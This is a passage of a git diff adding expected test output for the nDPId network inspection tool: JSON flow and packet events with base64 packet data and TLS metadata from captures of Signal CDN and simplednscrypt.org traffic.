D7T\/SGP9MtFevdpYYCB1v4p50Orcn7nVnrzJgFU5ZtmoIJq9\/VyVsMQpmzBxj2IoM4V8GAGAQEAmJgBb3Rs4zRx7tzAkdDCG5kzx14tBVaGWAVsUGR5HRM+WwrYbCETvNI6BA0j9kJq9NF7G5SBVz3opvSR9jb+wy4xVS08vBBUpJJF1iRj0El6WrqSBKO76KhL6n5uCypiY2s9WVlPZDa9L5ZAy9SRuEJ8djc4tj7fCULAbotLNjIdRMoyJaKfZMYv91TiqWWYXmXdK79atK9RHNU\/3LqduNgXpEy9cBAMvxZTKY2+wNjvctJ97RCpjXjCdE1u92cYqVUxaxOH7751Z0UWfUvt64l9tEOkoHSJx5A5Bx2h1LyN8hTSU1xnfQu\/mIXoIFbpKgAQXnrkYrKCwxgWbGvkWRYDAwAEDgAAAA=="} +01141{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":379,"source":"signal.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":7,"flow_first_seen":1569051267121,"flow_last_seen":1569051267197,"flow_tot_l4_data_len":3144,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":449,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"13.35.253.42","src_port":57027,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cdn.signal.org","server_names":"cdn.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"c4b2785a87896e19d37eee932070cb22","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=cdn.signal.org","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2","fingerprint":"81:3D:8A:2E:EE:B2:E1:F4:1C:2B:6D:20:16:54:B2:C1:87:D0:1E:12"}} +00427{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":200920,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGbb3AqAIRDSP9Kt7DAbsjR8zyv8CYg4AQA\/gm\/AAAAQEICihVnmWvNN\/V"} +00599{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":208672,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"xiwDYGpkxGGLNYKpCABFAACyAABAAEAGbT\/AqAIRDSP9Kt7DAbsjR8zyv8CYg4AYBADctAAAAQEICihVnmyvNN\/VFgMDAEYQAABCQQR3AJwD6bvm8LSD4P4qqhTngHu3j+sGyQuY\/SHAiBL2yXE70CUQKXnm7Nk1bW5kNxGjQM7Ydxo9Eb1d6LVwZQCKFAMDAAEBFgMDACgAAAAAAAAAAHpNgLBkD5iitC2mzH\/sbjhLNGCD9Pu3p2ZDjsJD0dhT"} +00427{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":240710,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0UOQAAPEGq9gNI\/0qwKgCEQG73sO\/wJiDI0fNcIAQAHYp9AAAAQEICq8039ooVZ5s"} +00497{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":241126,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAABnUOUAAPEGq6QNI\/0qwKgCEQG73sO\/wJiDI0fNcIAYAHY9+AAAAQEICq8039ooVZ5sFAMDAAEBFgMDAChvPyAnzRvtIYgg6l3Y13zBGohGG2Gmg1TjY8+hQwNiPvZJrUMz2jKJ"} +00522{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":241148,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAAB5UOYAAPEGq5ENI\/0qwKgCEQG73sO\/wJi2I0fNcIAYAHaobQAAAQEICq8039ooVZ5sFwMDAEBvPyAnzRvtIvh4qTZHjGJymA1OE9ErVGlhKg3LgTUzDsjpEwktfQUh4g5td9r8ceptZw9B8lnVDRLIYQeTukhL"} +00427{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":243345,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGbb3AqAIRDSP9Kt7DAbsjR81wv8CYtoAQA\/8mFwAAAQEICihVno2vNN\/a"} +00427{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":243402,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGbb3AqAIRDSP9Kt7DAbsjR81wv8CY+4AQA\/8l0gAAAQEICihVno2vNN\/a"} +00500{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051267,"pkt_ts_usec":250865,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"xiwDYGpkxGGLNYKpCABFAABpAABAAEAGbYjAqAIRDSP9Kt7DAbsjR81wv8CY+4AYBADbrwAAAQEICihVnpSvNN\/aFwMDADAAAAAAAAAAAVWG6O8VCZhpL3ljuuQbyjQJH99xwYFcfRw3CnAmaC4jWGNvCJKk0L4="} +01137{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":627,"source":"signal.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":255,"flow_first_seen":1569051267121,"flow_last_seen":1569051267505,"flow_tot_l4_data_len":206833,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":811,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"13.35.253.42","src_port":57027,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cdn.signal.org","server_names":"cdn.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"c4b2785a87896e19d37eee932070cb22","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=cdn.signal.org","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2","fingerprint":"81:3D:8A:2E:EE:B2:E1:F4:1C:2B:6D:20:16:54:B2:C1:87:D0:1E:12"}} diff --git a/test/results/simple-dnscrypt.pcap.out b/test/results/simple-dnscrypt.pcap.out new file mode 100644 index 000000000..dbb6c4158 --- /dev/null +++ b/test/results/simple-dnscrypt.pcap.out @@ -0,0 +1,76 @@ +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1491813284555,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50233,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":555591,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"uFpz9d6dpDTZFrEGCABFAAA0PRVAAIAGMNDAqCunhncaGMQ5Abvf\/XrjAAAAAIACIAChWwAAAgQFtAEDAwgBAQQC"} +00432{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":666208,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pDTZFrEGuFpz9d6dCABFAAA0AABAADMGuuWGdxoYwKgrpwG7xDnBW87r3\/165IASchC\/iQAAAgQFHgEBBAIBAwMH"} +00415{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":666742,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPRZAAIAGMNvAqCunhncaGMQ5Abvf\/XrkwVvO7FAQAEBxlgAA"} +00695{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":694670,"pkt_caplen":260,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":260,"pkt_l4_len":226,"pkt":"uFpz9d6dpDTZFrEGCABFAAD2PRdAAIAGMAzAqCunhncaGMQ5Abvf\/XrkwVvO7FAYAEAlbQAAFgMBAMkBAADFAwPMizo6irh7WreX73XN9DV4060ZvWSF1+Ey0R2L6KnrlgAAIMrKwCvAL8AswDDMqcyozBTME8ATwBQAnACdAC8ANQAKAQAAfDo6AAD\/AQABAAAAABcAFQAAEnNpbXBsZWRuc2NyeXB0Lm9yZwAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACIqKAB0AFwAYKioAAQA="} +00724{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1491813284555,"flow_last_seen":1491813284694,"flow_tot_l4_data_len":310,"flow_min_l4_data_len":20,"flow_max_l4_data_len":226,"flow_avg_l4_data_len":77,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50233,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","ja3":"b8f81673c0e1d29908346f3bab892b9b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00415{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":785768,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"pDTZFrEGuFpz9d6dCABFAAAoQ1NAADMGd56GdxoYwKgrpwG7xDnBW87s3\/17slAQAO1wGwAA"} +02182{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":804255,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGQ1RAADMGcn+GdxoYwKgrpwG7xDnBW87s3\/17slAQAO3NaAAAFgMDAE4CAABKAwPwzG4wgnUdZ\/ihaiFoVDHroitDo2a4fEyTY7BXZ5JZPADALwAAIgAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAAFAAMCaDIWAwMWMAsAFiwAFikABl8wggZbMIIFQ6ADAgECAhEAgq+ZL1oGkuP+seqxnpVXKjANBgkqhkiG9w0BAQsFADCBkDELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxNjA0BgNVBAMTLUNPTU9ETyBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQTAeFw0xNTA5MjEwMDAwMDBaFw0xNzA5MjAyMzU5NTlaMFYxITAfBgNVBAsTGERvbWFpbiBDb250cm9sIFZhbGlkYXRlZDEUMBIGA1UECxMLUG9zaXRpdmVTU0wxGzAZBgNVBAMTEnNpbXBsZWRuc2NyeXB0Lm9yZzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMckfBBUAmrlLg9wkJ4soZKlNIQMjAggQKzmCAoclNmR68JK3M4fLIkZ2yXTonlITBB6lnVMoAEZBMpbwABFaHlvwXOygaKXWMqPrv9P2mABRSsrUM48enZZksNWv7PgLoxCuUq5dQBTVQR\/+by4tusvjA8jLniSGAuRogCoK4+Bry\/K+xZLe6ieKZUbVIlNqwdFGVmi1s5OLasHEUqX3u10wEovTkqy0XKLeRMURdWGGIngZ4B1kBCB2d1U+m0gFZYxmqr1P6dc7K8OEI3dM3DbamnJnsXBJbGEaumQnAruKpEh9F42Ex5kUzE0\/0+ZFnaBZZ5GElTxAukaT6e5cC9AjTkUNuhSiVZmYI3UO5kBtvx+puTX6r6HSCENTo8ysIVAw1KYMcNaU8lYpu8keEp0LYAErZzfAYqii7LXakRuY38nE81YesDT6mZZ1Ly9tnGg4M6ODkxJdz5DZmROa7jf8FmEtCAEowI5vLVOllOfnWanbpE2+EvTbRRy\/fzHdxKqlCdny547wJVtRBzRfgbpneL2Rl4XMDk+eO9+SRc9ZBEO+\/Bmiz9V5vnn8ZVeKQPUGyXFzUb00uH1IfaZcPPWqJSewYGBo2cK\/Vkdgwr65W8qBkCn5miAkFskh\/VXELFsO4eP9lILEVHFXkRsG\/flpdUix7ZBlvkKZSSaYW8VAgMBAAGjggHnMIIB4zAfBgNVHSMEGDAWgBSQr2o6lFoL2JDqElZz30O0Oija5zAdBgNVHQ4EFgQUriOphLhNie\/nS04PS4s1uALDpQswDgYDVR0PAQH\/BAQDAgWgMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCME8GA1UdIARIMEYwOgYLKwYBBAGyMQECAgcwKzApBggrBgEFBQcCARYdaHR0cHM6Ly9zZWN1cmUuY29tb2RvLmNvbS9DUFMwCAYGZ4EMAQIBMFQGA1UdHwRNMEswSaBHoEWGQ2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcmwwgYUGCCsGAQUFBwEBBHkwdzBPBggrBgEFBQcwAoZDaHR0cDovL2NydC5jb21vZG8="} +00781{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1491813284555,"flow_last_seen":1491813284804,"flow_tot_l4_data_len":1660,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1330,"flow_avg_l4_data_len":276,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50233,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","ja3":"b8f81673c0e1d29908346f3bab892b9b","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02180{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":809422,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGQ1VAADMGcn6GdxoYwKgrpwG7xDnBW9QK3\/17slAQAO3CTAAAY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmNvbW9kb2NhLmNvbTA1BgNVHREELjAsghJzaW1wbGVkbnNjcnlwdC5vcmeCFnd3dy5zaW1wbGVkbnNjcnlwdC5vcmcwDQYJKoZIhvcNAQELBQADggEBAEYKh0V6lmCDQfNwo5jPTcH6S9OBZ3Moyfar6ls8iUE8tp\/LzNzBmFb+TXq8npQywPd6U9lqAmXSoJhyb0dfYBhHNVbsB3cQ14vBgqNMJM5m+cWeyf\/JuPZZFBypV6qfp0R+3wJrnwK6f10riZMvAxtVsnZgneHQr4eFFSBfHM1MTPMjofv5JIYhc6+CAaCp2NcOqOsu4Y40YpTUMbkYOxaWUTkMOAgJXGhWVj4TdHMrScYZuPI2D+FcmknNKB4k7q+xxdQ\/8Z1BFGci4Yasa8VEmFoacSHLZ3plleYor63ehrG6hIIT\/HsaYVTaC23y2ysidaPGKG3OrI5uVNMugsgABgwwggYIMIID8KADAgECAhArLm7q2XU2bBSKbtujfIwHMA0GCSqGSIb3DQEBDAUAMIGFMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDErMCkGA1UEAxMiQ09NT0RPIFJTQSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAyMTIwMDAwMDBaFw0yOTAyMTEyMzU5NTlaMIGQMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDE2MDQGA1UEAxMtQ09NT0RPIFJTQSBEb21haW4gVmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjsICGeGgWaTrODWNLP0B0NNJwGTHC2IFRRY6qKDADAJ\/HczbxKFtdwOjD4b54wacPguBiptJG60DvvpL24wg7dXOXmWOPg2vTMKwt0VeUi803kgkZLRBrgCX975n3p7QeqdTgDt8rfWWVW+XRwp8hYsil42zhOCWV9BwGGCWj+4tB5OdobrK0c176cQqmighkU1vkk8lpfJ6Nd0m3Eal0KxZNYz\/TpFDUD9Zkx5sUSHuWBSr\/nVQeD5MsByGE\/prmLzgO5QehVLcA5MkGG7LJ1FF5nDeJUOkDeFKpe22fsjNbe4uHSdzXdxFMICq47JBC6+9RIfaueUbnX+u5YWCpQIDAQABo4IBZTCCAWEwHwYDVR0jBBgwFoAUu69+Aj36pvE8hI6t7jiY7NkyMtQwHQYDVR0OBBYEFJCvajqUWgvYkOoSVnPfQ7Q6KNrnMA4GA1UdDwEB\/wQEAwIBhjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAbBgNVHSAEFDASMAYGBFUdIAAwCAYGZ4EMAQIBMEwGA1UdHwRFMEMwQaA\/oD2GO2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQUNlcnRpZmljYXRpb24="} +00415{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":809547,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPRhAAIAGMNnAqCunhncaGMQ5Abvf\/XuywVvZKFAQAEBmjAAA"} +02188{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":812434,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGQ1ZAADMGcn2GdxoYwKgrpwG7xDnBW9ko3\/17slAQAO0GWgAAQXV0aG9yaXR5LmNybDBxBggrBgEFBQcBAQRlMGMwOwYIKwYBBQUHMAKGL2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQUFkZFRydXN0Q0EuY3J0MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5jb21vZG9jYS5jb20wDQYJKoZIhvcNAQEMBQADggIBAE4rdk+SHGI2ibp3wScF9BzWRJ2pmj6q1WZmAT7qSeaiNbz69t2Vjpk1mA42GHWx3d1Qcnyu3HeIzg\/3kCDKo2cuH1Z\/e+FE6kKVxF0NAVBGFfKBiVlsit2M8RKhjTpCipj4SzR7JzsItG8kO3KdY3RYPBpsP0\/HEZrIqPW1N+8QRcZs2eBelSaz662jue5\/DJpmNXMyYE7l3YphLG5SEXdoltMYdVEVABt0iN3hxzgEQyjpFv3ZBdRdRydg1vs4O2xyopT4Qhrf7W8GjEXCBgCq5Ojc2bXhc3js9iPc0d1sjhqPpepUfJa3w\/5Vjo1JXvxku88+vZbrac2\/4EjxYoIQ5QxGV\/Iz2tDIY+3GH5QFlkoakdH368+PUq4NCNk+qKBR6cGHdNXJ93SrLlP7u3r7l+L4HyaPs9Kg4DdbKDsx5Q5XLVq4rXmsXiBmGqW5prU5wfWYQ\/\/u+aen\/e7KJD2AFsQXj4rBYKEMrltDR5FL1ZoXX\/nUh8HCjLfn4g8wGTeGrODcQgPmlKidrv0PJFGUzpII0fxQ8ANAe4hZ7Q7drNJ3gjTcBpUC2JD5Leo31Rpg0Gcg19hCC0Wvgmje3WYkN5AplBlGGSW4gNfL1IYoakRwJiNiqZ+Gb7+6kHDSVneFeO\/qJakXzlByjAA6quPbYzSf+AZxAeKCINT+b72xAAV4MIIFdDCCBFygAwIBAgIQJ2buVutJ846r13Ci\/ITeIjANBgkqhkiG9w0BAQwFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFowgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAkehUktIKVrGsDSTdxc9EZ3SZKzejfSNwAHG8U9\/E+ioSj0t\/EFa9n3Byt2F\/yUsPF6c947AEYe7\/EZfH9IY+Cvo+XPmT5jR62RRr55yzhaCCenavcZDX7P0N+pxs+t+wgvQUfvm+xKYvT3+Zf7X8Z0NyvQwA1onrayzT7Y+YHBSrfuXjbvzYqOSSJNpDa2K4Vf3qwbxstovzDo2a5JtsaZn4eEgwRdWt4Q08RWD8MpZRJ7xnw8outmvqRsfHIKCxH2XeSAi6pE6p8oNGN4Tr6MyBSENnTnIqm1y9TBsoilwie7SrmNnu4FGDwwlGTm0+mfqVF9p8M1dBPI1R7Qu2XK8sYxrfV8g\/vOldxJuvRZnio1oktLqpVj3Pb6r\/SVg="} +02186{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":819901,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGQ1dAADMGcnyGdxoYwKgrpwG7xDnBW95G3\/17slAQAO34tQAAvvCo\/\/S4rek3+7q49As6+ehDQh6J2ITLE\/HZu+GJYLiMKFasFB2cCudx688O3T2plqFIvTz3r7UNIkzAEYHsVjv206LiW7eyBCJSlYCTaeiOTGXxkQMtcHQC6otnFSlpUgK7199QalVGv6CjKGF\/cNDDoqosIapHziicBkV2v4IYJ7TVrrTLUOZr9EyGcTDppt8WhuDY\/0Dd+9BCiH+jMzouXB5BEYFjzhhxayvspoq3MVw6akfgw3lZ1iAar\/JqmKpyvFdK0kuduxD8sExB5e0dPV4onZzMv7NR2qdH5YRTAgMBAAGjgfQwgfEwHwYDVR0jBBgwFoAUrb2YejS0Jvf6xCZU7wO94CTLVBowHQYDVR0OBBYEFLuvfgI9+qbxPISOre44mOzZMjLUMA4GA1UdDwEB\/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH\/MBEGA1UdIAQKMAgwBgYEVR0gADBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vQWRkVHJ1c3RFeHRlcm5hbENBUm9vdC5jcmwwNQYIKwYBBQUHAQEEKTAnMCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1c3QuY29tMA0GCSqGSIb3DQEBDAUAA4IBAQBkv4PxX5qF0M24oSlXDeha99HpPvJ2BG7xUnC7Hjz\/TQ10asyBgiXTw6AqXUz1uouhbcRUCXXH4ycOXYR5N0ATd\/W0rBzQO6sXEtbvNBh+K+l506tXRQyvKPrQ2+VQlYi734VXaX2S2FLKc4G\/HPPmuG5mEQWzHpQtf5GVklnxTM6jkXFMfEcMOwsZ9qGxbIY+XKrELoLL+QeWukhNkPKUyKlzousGeyOd3qLzTVWfemFFmBhox15AayP1eXrvjLVri7dvRvR78T1LBNiTgFla4EEkHbKPFWBYR9vvbkb9FfXZX5qz29i45ECzzZc5roW7HY683Ieb0abv8TtvEDhvAAQ6MIIENjCCAx6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFowbzELMAkGA1UEBhMCU0UxFDASBg